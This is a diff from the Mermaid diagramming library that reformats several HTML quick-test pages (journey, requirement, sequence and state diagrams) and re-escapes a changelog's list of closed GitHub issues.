<body>
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
journey
|
||||
title My day
|
||||
accDescription A user journey diagram of a typical day in my life
|
||||
@@ -26,20 +25,18 @@
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,23 +1,20 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
requirementDiagram
|
||||
title This is a title
|
||||
requirement test_req {
|
||||
@@ -85,22 +82,21 @@
|
||||
test_req5 - refines -> test_req6
|
||||
test_entity3 - verifies -> test_req5
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre
|
||||
>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,23 +1,20 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
sequenceDiagram
|
||||
title: FancySequenceDiagram
|
||||
accDescription Test a description
|
||||
@@ -56,22 +53,20 @@
|
||||
and
|
||||
Alice -->> John: Parallel message 2
|
||||
end
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,50 +1,45 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
stateDiagram
|
||||
title This is a title
|
||||
accDescription This is an accessible description
|
||||
State1
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
stateDiagram-v2
|
||||
title This is a title
|
||||
accDescription This is an accessible description
|
||||
State1
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -158,201 +158,201 @@ mermaidAPI.initialize({
|
||||
|
||||
**Closed issues:**
|
||||
|
||||
- Gantt and sequence diagram do not render [#853](https://github.com/knsv/mermaid/issues/853)
|
||||
- margins around flowchart are not balanced [#852](https://github.com/knsv/mermaid/issues/852)
|
||||
- Smaller bundles [#843](https://github.com/knsv/mermaid/issues/843)
|
||||
- unicode in labels [#776](https://github.com/knsv/mermaid/issues/776)
|
||||
- Hard-changing drawing of arrows per edge type [#775](https://github.com/knsv/mermaid/issues/775)
|
||||
- SequenceDiagram wrong [#773](https://github.com/knsv/mermaid/issues/773)
|
||||
- Render mermaid on github pages with simple code [#772](https://github.com/knsv/mermaid/issues/772)
|
||||
- FlowChart - large space between text and the image [#754](https://github.com/knsv/mermaid/issues/754)
|
||||
- Class Diagram Issues when using Mermaid in Stackedit [#748](https://github.com/knsv/mermaid/issues/748)
|
||||
- Multi-platform CI [#744](https://github.com/knsv/mermaid/issues/744)
|
||||
- gantt: sections can't have a colon [#742](https://github.com/knsv/mermaid/issues/742)
|
||||
- Yarn build does not add mermaid.min.css to dist [#732](https://github.com/knsv/mermaid/issues/732)
|
||||
- Is there a grammar / keyword / more than just the basic examples? [#718](https://github.com/knsv/mermaid/issues/718)
|
||||
- Click event and react component [#717](https://github.com/knsv/mermaid/issues/717)
|
||||
- Long text going outside the box [#706](https://github.com/knsv/mermaid/issues/706)
|
||||
- How to migrate from yUML to mermaid? [#704](https://github.com/knsv/mermaid/issues/704)
|
||||
- Issue on Dynamic Creation in PHP [#690](https://github.com/knsv/mermaid/issues/690)
|
||||
- `click "\#target"` and `click "http://url"` should create regular links [#689](https://github.com/knsv/mermaid/issues/689)
|
||||
- Support Chinese punctuation [#687](https://github.com/knsv/mermaid/issues/687)
|
||||
- \[Question] Proper way to install on Mac? [#681](https://github.com/knsv/mermaid/issues/681)
|
||||
- Has Mermaid a graphical interface to make diagrams? [#668](https://github.com/knsv/mermaid/issues/668)
|
||||
- mermaid installation on debian [#649](https://github.com/knsv/mermaid/issues/649)
|
||||
- "Cannot activate" in sequenceDiagram [#647](https://github.com/knsv/mermaid/issues/647)
|
||||
- Link ("click" statement) in flowchart does not work in exported SVG [#646](https://github.com/knsv/mermaid/issues/646)
|
||||
- How to pass styling [#639](https://github.com/knsv/mermaid/issues/639)
|
||||
- The live editor cant show seq diagram with notes for 8.0.0-alpha.3 [#638](https://github.com/knsv/mermaid/issues/638)
|
||||
- import mermaid.css with ES6 + NPM [#634](https://github.com/knsv/mermaid/issues/634)
|
||||
- Actor line cuts through other elements [#633](https://github.com/knsv/mermaid/issues/633)
|
||||
- Graph TD line out of the picture (left side) [#630](https://github.com/knsv/mermaid/issues/630)
|
||||
- Flowchart labels appear "cutoff" [#628](https://github.com/knsv/mermaid/issues/628)
|
||||
- Uncaught TypeError: \_.constant is not a function (mermaid.js) [#626](https://github.com/knsv/mermaid/issues/626)
|
||||
- Missing tags and releases for newer versions [#623](https://github.com/knsv/mermaid/issues/623)
|
||||
- Mermaid and Leo / Leo Vue [#622](https://github.com/knsv/mermaid/issues/622)
|
||||
- mermaidAPI gantt Vue.js [#621](https://github.com/knsv/mermaid/issues/621)
|
||||
- Gantt sections are not separated by colors - Fix: set numberSectionStyles to 4 instead of 3 [#620](https://github.com/knsv/mermaid/issues/620)
|
||||
- how to get mermaidAPI? [#617](https://github.com/knsv/mermaid/issues/617)
|
||||
- Error in startOnLoad documentation? [#616](https://github.com/knsv/mermaid/issues/616)
|
||||
- Example export to SVG generates error [#614](https://github.com/knsv/mermaid/issues/614)
|
||||
- The new online editor does not support previously generated links [#613](https://github.com/knsv/mermaid/issues/613)
|
||||
- Grammar / Syntax documentation for flowcharts [#607](https://github.com/knsv/mermaid/issues/607)
|
||||
- Mermaid does not work with d3.js [#606](https://github.com/knsv/mermaid/issues/606)
|
||||
- Why does this code's flowchart lines get cut-off on screen? [#604](https://github.com/knsv/mermaid/issues/604)
|
||||
- click keyword does not fire my callback (on the demo Website too) [#603](https://github.com/knsv/mermaid/issues/603)
|
||||
- Online Editor fails to show exported SVG [#601](https://github.com/knsv/mermaid/issues/601)
|
||||
- Just saying thanks! [#597](https://github.com/knsv/mermaid/issues/597)
|
||||
- stylesheet crashed with other library like abcjs [#596](https://github.com/knsv/mermaid/issues/596)
|
||||
- Missing connection [#594](https://github.com/knsv/mermaid/issues/594)
|
||||
- How to use mermaid on node.js restful api? [#593](https://github.com/knsv/mermaid/issues/593)
|
||||
- Remove status code [#589](https://github.com/knsv/mermaid/issues/589)
|
||||
- Golang based editor [#588](https://github.com/knsv/mermaid/issues/588)
|
||||
- sequenceDiagram -> notetext css font is hardcoded [#587](https://github.com/knsv/mermaid/issues/587)
|
||||
- Multiple graph in the live editor [#586](https://github.com/knsv/mermaid/issues/586)
|
||||
- All \<svg> elements in page are colored black [#584](https://github.com/knsv/mermaid/issues/584)
|
||||
- Styling: classes aren't applied to elements. [#582](https://github.com/knsv/mermaid/issues/582)
|
||||
- Rounded connections [#580](https://github.com/knsv/mermaid/issues/580)
|
||||
- Arrows are not being shown correctly in the dark theme [#578](https://github.com/knsv/mermaid/issues/578)
|
||||
- The documentation for CLI seems outdated. [#572](https://github.com/knsv/mermaid/issues/572)
|
||||
- No effect of click event:can not open link [#571](https://github.com/knsv/mermaid/issues/571)
|
||||
- Text colors are not correct in VSCODE [#570](https://github.com/knsv/mermaid/issues/570)
|
||||
- Nodes aren't aligned properly (just need an explanation) [#568](https://github.com/knsv/mermaid/issues/568)
|
||||
- setting margin around figure in R [#567](https://github.com/knsv/mermaid/issues/567)
|
||||
- Arrows should Come out in upward and Downward direction from decision Node [#566](https://github.com/knsv/mermaid/issues/566)
|
||||
- TypeError: Cannot read property 'select' of undefined [#563](https://github.com/knsv/mermaid/issues/563)
|
||||
- A little bug [#557](https://github.com/knsv/mermaid/issues/557)
|
||||
- Japanese text appears garbled [#554](https://github.com/knsv/mermaid/issues/554)
|
||||
- classdiagram not works in mermaid live_editor [#553](https://github.com/knsv/mermaid/issues/553)
|
||||
- font awesome in link text? [#546](https://github.com/knsv/mermaid/issues/546)
|
||||
- q: heard of the cosmogol standard? [#545](https://github.com/knsv/mermaid/issues/545)
|
||||
- Arrow heads missing (cli, 7.0.3) [#544](https://github.com/knsv/mermaid/issues/544)
|
||||
- No Edge Boxes if useHtmlLabels=false [#541](https://github.com/knsv/mermaid/issues/541)
|
||||
- how to change mermaid text color or line text block color？ [#534](https://github.com/knsv/mermaid/issues/534)
|
||||
- FlowChart visualization broken when downloading from live editor [#533](https://github.com/knsv/mermaid/issues/533)
|
||||
- Can't get flowchart to render paths at the top of the diagram; I even tried the online editor and that shows the same issue. Thoughts? [#532](https://github.com/knsv/mermaid/issues/532)
|
||||
- live editor make browser(safari on macOS\&iOS) not longer respond [#531](https://github.com/knsv/mermaid/issues/531)
|
||||
- css classes need a prefix/namespace [#527](https://github.com/knsv/mermaid/issues/527)
|
||||
- input activate/deactivate cause safari unresponding [#521](https://github.com/knsv/mermaid/issues/521)
|
||||
- Cannot Render the Mermaid Graph to PDF ? [#520](https://github.com/knsv/mermaid/issues/520)
|
||||
- clicking links works from inset in subgraph but not from nodes [#516](https://github.com/knsv/mermaid/issues/516)
|
||||
- Strange syntax error - when importing mermaid.js [#515](https://github.com/knsv/mermaid/issues/515)
|
||||
- gantt x-axis display [#510](https://github.com/knsv/mermaid/issues/510)
|
||||
- phantomjs renamed to phantomjs-prebuilt [#508](https://github.com/knsv/mermaid/issues/508)
|
||||
- issue when using sphinxcontrib-mermaid extension for sphinx [#507](https://github.com/knsv/mermaid/issues/507)
|
||||
- layout of docs page looks broken [#504](https://github.com/knsv/mermaid/issues/504)
|
||||
- Problem showing graph with php on localhost [#502](https://github.com/knsv/mermaid/issues/502)
|
||||
- logLevel's option doesn't work at 7.0.0 [#501](https://github.com/knsv/mermaid/issues/501)
|
||||
- How do I get the log for a render or parse attempt? [#500](https://github.com/knsv/mermaid/issues/500)
|
||||
- Mermaid neutral style style to built in latest release [#499](https://github.com/knsv/mermaid/issues/499)
|
||||
- Any plans for adding a typescript definition file? [#495](https://github.com/knsv/mermaid/issues/495)
|
||||
- Gantt diagrams too narrow [#493](https://github.com/knsv/mermaid/issues/493)
|
||||
- Flowchart edge labels placement [#490](https://github.com/knsv/mermaid/issues/490)
|
||||
- Very different styles when rendering as png vs. svg [#489](https://github.com/knsv/mermaid/issues/489)
|
||||
- New editor that supports mermaid: Caret [#488](https://github.com/knsv/mermaid/issues/488)
|
||||
- Gant PNG margin [#486](https://github.com/knsv/mermaid/issues/486)
|
||||
- ReferenceError: window is not defined [#485](https://github.com/knsv/mermaid/issues/485)
|
||||
- Menu and layout bugs in docs [#484](https://github.com/knsv/mermaid/issues/484)
|
||||
- Mermaid resets some of the page CSS styles [#482](https://github.com/knsv/mermaid/issues/482)
|
||||
- Arrows rendering incorrectly in online editor [#480](https://github.com/knsv/mermaid/issues/480)
|
||||
- CSS stroke-dasharray ignored by browsers but not other viewers [#474](https://github.com/knsv/mermaid/issues/474)
|
||||
- mermaid - Browser Support issue [#472](https://github.com/knsv/mermaid/issues/472)
|
||||
- Totally love mermaid I might pop! [#471](https://github.com/knsv/mermaid/issues/471)
|
||||
- Sequence Diagram: Missing x on async arrows (png) [#469](https://github.com/knsv/mermaid/issues/469)
|
||||
- live editor: the svg file rendered from graph is not supported by browsers [#468](https://github.com/knsv/mermaid/issues/468)
|
||||
- Not found css [#462](https://github.com/knsv/mermaid/issues/462)
|
||||
- Phantomjs Dependency [#461](https://github.com/knsv/mermaid/issues/461)
|
||||
- Mermaid cli not working for subgraphs [#459](https://github.com/knsv/mermaid/issues/459)
|
||||
- Support for notes across multiple participants? [#458](https://github.com/knsv/mermaid/issues/458)
|
||||
- Related to Issue #329: Phantomjs issues. [#455](https://github.com/knsv/mermaid/issues/455)
|
||||
- Add a click style [#426](https://github.com/knsv/mermaid/issues/426)
|
||||
- Add Parallel block (par) to sequence diagrams [#425](https://github.com/knsv/mermaid/issues/425)
|
||||
- updating shapes after the flow chart rendering complete [#424](https://github.com/knsv/mermaid/issues/424)
|
||||
- can't catch parse error Maximum call stack size exceeded on safari [#421](https://github.com/knsv/mermaid/issues/421)
|
||||
- Arrows endings are missing [#419](https://github.com/knsv/mermaid/issues/419)
|
||||
- shouldn't mermaid become more like Markdown ? [#417](https://github.com/knsv/mermaid/issues/417)
|
||||
- Live editor show rendered diagram if syntax invalid [#415](https://github.com/knsv/mermaid/issues/415)
|
||||
- Linkstyle stroke does not work [#410](https://github.com/knsv/mermaid/issues/410)
|
||||
- flowchart id's with dots in them .. break links [#408](https://github.com/knsv/mermaid/issues/408)
|
||||
- Flowchart: Link text beginning with lowercase 'o' causes flowchart to break [#407](https://github.com/knsv/mermaid/issues/407)
|
||||
- Some Chinese character will case Safari no responding. [#405](https://github.com/knsv/mermaid/issues/405)
|
||||
- Cannot center-justify text in nodes? [#397](https://github.com/knsv/mermaid/issues/397)
|
||||
- Edge labels should have white background in live editor [#396](https://github.com/knsv/mermaid/issues/396)
|
||||
- Live editor does not support activate/deactivate [#394](https://github.com/knsv/mermaid/issues/394)
|
||||
- Styling subgraph? [#391](https://github.com/knsv/mermaid/issues/391)
|
||||
- Update live editor to version 6.0.0 [#387](https://github.com/knsv/mermaid/issues/387)
|
||||
- sequence diagram config issue [#385](https://github.com/knsv/mermaid/issues/385)
|
||||
- How to add newline in the text [#384](https://github.com/knsv/mermaid/issues/384)
|
||||
- PhantomJS crashes on a large graph [#380](https://github.com/knsv/mermaid/issues/380)
|
||||
- Finnish support for class diagrams using plantuml syntax [#377](https://github.com/knsv/mermaid/issues/377)
|
||||
- mermaidAPI.render generated different svg code from mermaid.int() [#374](https://github.com/knsv/mermaid/issues/374)
|
||||
- Put your own action on the chart [#372](https://github.com/knsv/mermaid/issues/372)
|
||||
- when declaring participants the elements are generated twice [#370](https://github.com/knsv/mermaid/issues/370)
|
||||
- Example Flowchart is cut in display (Chrome). [#368](https://github.com/knsv/mermaid/issues/368)
|
||||
- Add shebang support to diagrams [#365](https://github.com/knsv/mermaid/issues/365)
|
||||
- Silencing CLI output [#352](https://github.com/knsv/mermaid/issues/352)
|
||||
- SequenceDiagram: 3+ Alternative Paths [#348](https://github.com/knsv/mermaid/issues/348)
|
||||
- Smaller height of actor boxes [#342](https://github.com/knsv/mermaid/issues/342)
|
||||
- Question: lib/phantomscript.js - foreignObjects in SVG - related to #58 [#340](https://github.com/knsv/mermaid/issues/340)
|
||||
- npm test fails on osx being blocked at Can not load "PhantomJS", it is not registered! [#337](https://github.com/knsv/mermaid/issues/337)
|
||||
- Tabs & subgraphs cause rendering error [#336](https://github.com/knsv/mermaid/issues/336)
|
||||
- Display question: right angles [#335](https://github.com/knsv/mermaid/issues/335)
|
||||
- No Arrows rendered v0.5.8 [#330](https://github.com/knsv/mermaid/issues/330)
|
||||
- You had errors in your syntax. Use --help for further information. [#327](https://github.com/knsv/mermaid/issues/327)
|
||||
- Allow alternate arrow syntax that doesn't close html comments [#322](https://github.com/knsv/mermaid/issues/322)
|
||||
- Comment in subgraph [#319](https://github.com/knsv/mermaid/issues/319)
|
||||
- Update graph [#311](https://github.com/knsv/mermaid/issues/311)
|
||||
- css conflicts with boostrap's css [#308](https://github.com/knsv/mermaid/issues/308)
|
||||
- Can not get click event to fire. [#306](https://github.com/knsv/mermaid/issues/306)
|
||||
- Fix phantomjs2 compatibility [#304](https://github.com/knsv/mermaid/issues/304)
|
||||
- Flowcharts do not work in native IE11 [#303](https://github.com/knsv/mermaid/issues/303)
|
||||
- Integration with remark.js - tutorial added [#302](https://github.com/knsv/mermaid/issues/302)
|
||||
- Sequence diagram Loops: changing boxMargin spoils the "loop" notation [#299](https://github.com/knsv/mermaid/issues/299)
|
||||
- src/mermaid.js generates bad code [#297](https://github.com/knsv/mermaid/issues/297)
|
||||
- Fresh fork: jasmine tests fail [#294](https://github.com/knsv/mermaid/issues/294)
|
||||
- CSS clash [#292](https://github.com/knsv/mermaid/issues/292)
|
||||
- Mermaid does not work in Chrome 48 [#281](https://github.com/knsv/mermaid/issues/281)
|
||||
- circle and ellipse cannot change color by classDef [#271](https://github.com/knsv/mermaid/issues/271)
|
||||
- npm run watch doesn't work due missing dependencies [#266](https://github.com/knsv/mermaid/issues/266)
|
||||
- label out of node [#262](https://github.com/knsv/mermaid/issues/262)
|
||||
- IE11 Support issue [#261](https://github.com/knsv/mermaid/issues/261)
|
||||
- mermaid without browser [#260](https://github.com/knsv/mermaid/issues/260)
|
||||
- Insufficient capacity of gantt diagrams [#226](https://github.com/knsv/mermaid/issues/226)
|
||||
- some WARN about installation [#222](https://github.com/knsv/mermaid/issues/222)
|
||||
- Live editor offline access [#217](https://github.com/knsv/mermaid/issues/217)
|
||||
- suggest: code highlight mode config for editors [#212](https://github.com/knsv/mermaid/issues/212)
|
||||
- Uncaught RangeError: Maximum call stack size exceeded [#189](https://github.com/knsv/mermaid/issues/189)
|
||||
- Styling label texts [#50](https://github.com/knsv/mermaid/issues/50)
|
||||
- Gantt and sequence diagram do not render [\#853](https://github.com/knsv/mermaid/issues/853)
|
||||
- margins around flowchart are not balanced [\#852](https://github.com/knsv/mermaid/issues/852)
|
||||
- Smaller bundles [\#843](https://github.com/knsv/mermaid/issues/843)
|
||||
- unicode in labels [\#776](https://github.com/knsv/mermaid/issues/776)
|
||||
- Hard-changing drawing of arrows per edge type [\#775](https://github.com/knsv/mermaid/issues/775)
|
||||
- SequenceDiagram wrong [\#773](https://github.com/knsv/mermaid/issues/773)
|
||||
- Render mermaid on github pages with simple code [\#772](https://github.com/knsv/mermaid/issues/772)
|
||||
- FlowChart - large space between text and the image [\#754](https://github.com/knsv/mermaid/issues/754)
|
||||
- Class Diagram Issues when using Mermaid in Stackedit [\#748](https://github.com/knsv/mermaid/issues/748)
|
||||
- Multi-platform CI [\#744](https://github.com/knsv/mermaid/issues/744)
|
||||
- gantt: sections can't have a colon [\#742](https://github.com/knsv/mermaid/issues/742)
|
||||
- Yarn build does not add mermaid.min.css to dist [\#732](https://github.com/knsv/mermaid/issues/732)
|
||||
- Is there a grammar / keyword / more than just the basic examples? [\#718](https://github.com/knsv/mermaid/issues/718)
|
||||
- Click event and react component [\#717](https://github.com/knsv/mermaid/issues/717)
|
||||
- Long text going outside the box [\#706](https://github.com/knsv/mermaid/issues/706)
|
||||
- How to migrate from yUML to mermaid? [\#704](https://github.com/knsv/mermaid/issues/704)
|
||||
- Issue on Dynamic Creation in PHP [\#690](https://github.com/knsv/mermaid/issues/690)
|
||||
- `click "\#target"` and `click "http://url"` should create regular links [\#689](https://github.com/knsv/mermaid/issues/689)
|
||||
- Support Chinese punctuation [\#687](https://github.com/knsv/mermaid/issues/687)
|
||||
- \[Question\] Proper way to install on Mac? [\#681](https://github.com/knsv/mermaid/issues/681)
|
||||
- Has Mermaid a graphical interface to make diagrams? [\#668](https://github.com/knsv/mermaid/issues/668)
|
||||
- mermaid installation on debian [\#649](https://github.com/knsv/mermaid/issues/649)
|
||||
- "Cannot activate" in sequenceDiagram [\#647](https://github.com/knsv/mermaid/issues/647)
|
||||
- Link \("click" statement\) in flowchart does not work in exported SVG [\#646](https://github.com/knsv/mermaid/issues/646)
|
||||
- How to pass styling [\#639](https://github.com/knsv/mermaid/issues/639)
|
||||
- The live editor cant show seq diagram with notes for 8.0.0-alpha.3 [\#638](https://github.com/knsv/mermaid/issues/638)
|
||||
- import mermaid.css with ES6 + NPM [\#634](https://github.com/knsv/mermaid/issues/634)
|
||||
- Actor line cuts through other elements [\#633](https://github.com/knsv/mermaid/issues/633)
|
||||
- Graph TD line out of the picture \(left side\) [\#630](https://github.com/knsv/mermaid/issues/630)
|
||||
- Flowchart labels appear "cutoff" [\#628](https://github.com/knsv/mermaid/issues/628)
|
||||
- Uncaught TypeError: \_.constant is not a function \(mermaid.js\) [\#626](https://github.com/knsv/mermaid/issues/626)
|
||||
- Missing tags and releases for newer versions [\#623](https://github.com/knsv/mermaid/issues/623)
|
||||
- Mermaid and Leo / Leo Vue [\#622](https://github.com/knsv/mermaid/issues/622)
|
||||
- mermaidAPI gantt Vue.js [\#621](https://github.com/knsv/mermaid/issues/621)
|
||||
- Gantt sections are not separated by colors - Fix: set numberSectionStyles to 4 instead of 3 [\#620](https://github.com/knsv/mermaid/issues/620)
|
||||
- how to get mermaidAPI? [\#617](https://github.com/knsv/mermaid/issues/617)
|
||||
- Error in startOnLoad documentation? [\#616](https://github.com/knsv/mermaid/issues/616)
|
||||
- Example export to SVG generates error [\#614](https://github.com/knsv/mermaid/issues/614)
|
||||
- The new online editor does not support previously generated links [\#613](https://github.com/knsv/mermaid/issues/613)
|
||||
- Grammar / Syntax documentation for flowcharts [\#607](https://github.com/knsv/mermaid/issues/607)
|
||||
- Mermaid does not work with d3.js [\#606](https://github.com/knsv/mermaid/issues/606)
|
||||
- Why does this code's flowchart lines get cut-off on screen? [\#604](https://github.com/knsv/mermaid/issues/604)
|
||||
- click keyword does not fire my callback \(on the demo Website too\) [\#603](https://github.com/knsv/mermaid/issues/603)
|
||||
- Online Editor fails to show exported SVG [\#601](https://github.com/knsv/mermaid/issues/601)
|
||||
- Just saying thanks! [\#597](https://github.com/knsv/mermaid/issues/597)
|
||||
- stylesheet crashed with other library like abcjs [\#596](https://github.com/knsv/mermaid/issues/596)
|
||||
- Missing connection [\#594](https://github.com/knsv/mermaid/issues/594)
|
||||
- How to use mermaid on node.js restful api? [\#593](https://github.com/knsv/mermaid/issues/593)
|
||||
- Remove status code [\#589](https://github.com/knsv/mermaid/issues/589)
|
||||
- Golang based editor [\#588](https://github.com/knsv/mermaid/issues/588)
|
||||
- sequenceDiagram -\> notetext css font is hardcoded [\#587](https://github.com/knsv/mermaid/issues/587)
|
||||
- Multiple graph in the live editor [\#586](https://github.com/knsv/mermaid/issues/586)
|
||||
- All \<svg\> elements in page are colored black [\#584](https://github.com/knsv/mermaid/issues/584)
|
||||
- Styling: classes aren't applied to elements. [\#582](https://github.com/knsv/mermaid/issues/582)
|
||||
- Rounded connections [\#580](https://github.com/knsv/mermaid/issues/580)
|
||||
- Arrows are not being shown correctly in the dark theme [\#578](https://github.com/knsv/mermaid/issues/578)
|
||||
- The documentation for CLI seems outdated. [\#572](https://github.com/knsv/mermaid/issues/572)
|
||||
- No effect of click event:can not open link [\#571](https://github.com/knsv/mermaid/issues/571)
|
||||
- Text colors are not correct in VSCODE [\#570](https://github.com/knsv/mermaid/issues/570)
|
||||
- Nodes aren't aligned properly \(just need an explanation\) [\#568](https://github.com/knsv/mermaid/issues/568)
|
||||
- setting margin around figure in R [\#567](https://github.com/knsv/mermaid/issues/567)
|
||||
- Arrows should Come out in upward and Downward direction from decision Node [\#566](https://github.com/knsv/mermaid/issues/566)
|
||||
- TypeError: Cannot read property 'select' of undefined [\#563](https://github.com/knsv/mermaid/issues/563)
|
||||
- A little bug [\#557](https://github.com/knsv/mermaid/issues/557)
|
||||
- Japanese text appears garbled [\#554](https://github.com/knsv/mermaid/issues/554)
|
||||
- classdiagram not works in mermaid live_editor [\#553](https://github.com/knsv/mermaid/issues/553)
|
||||
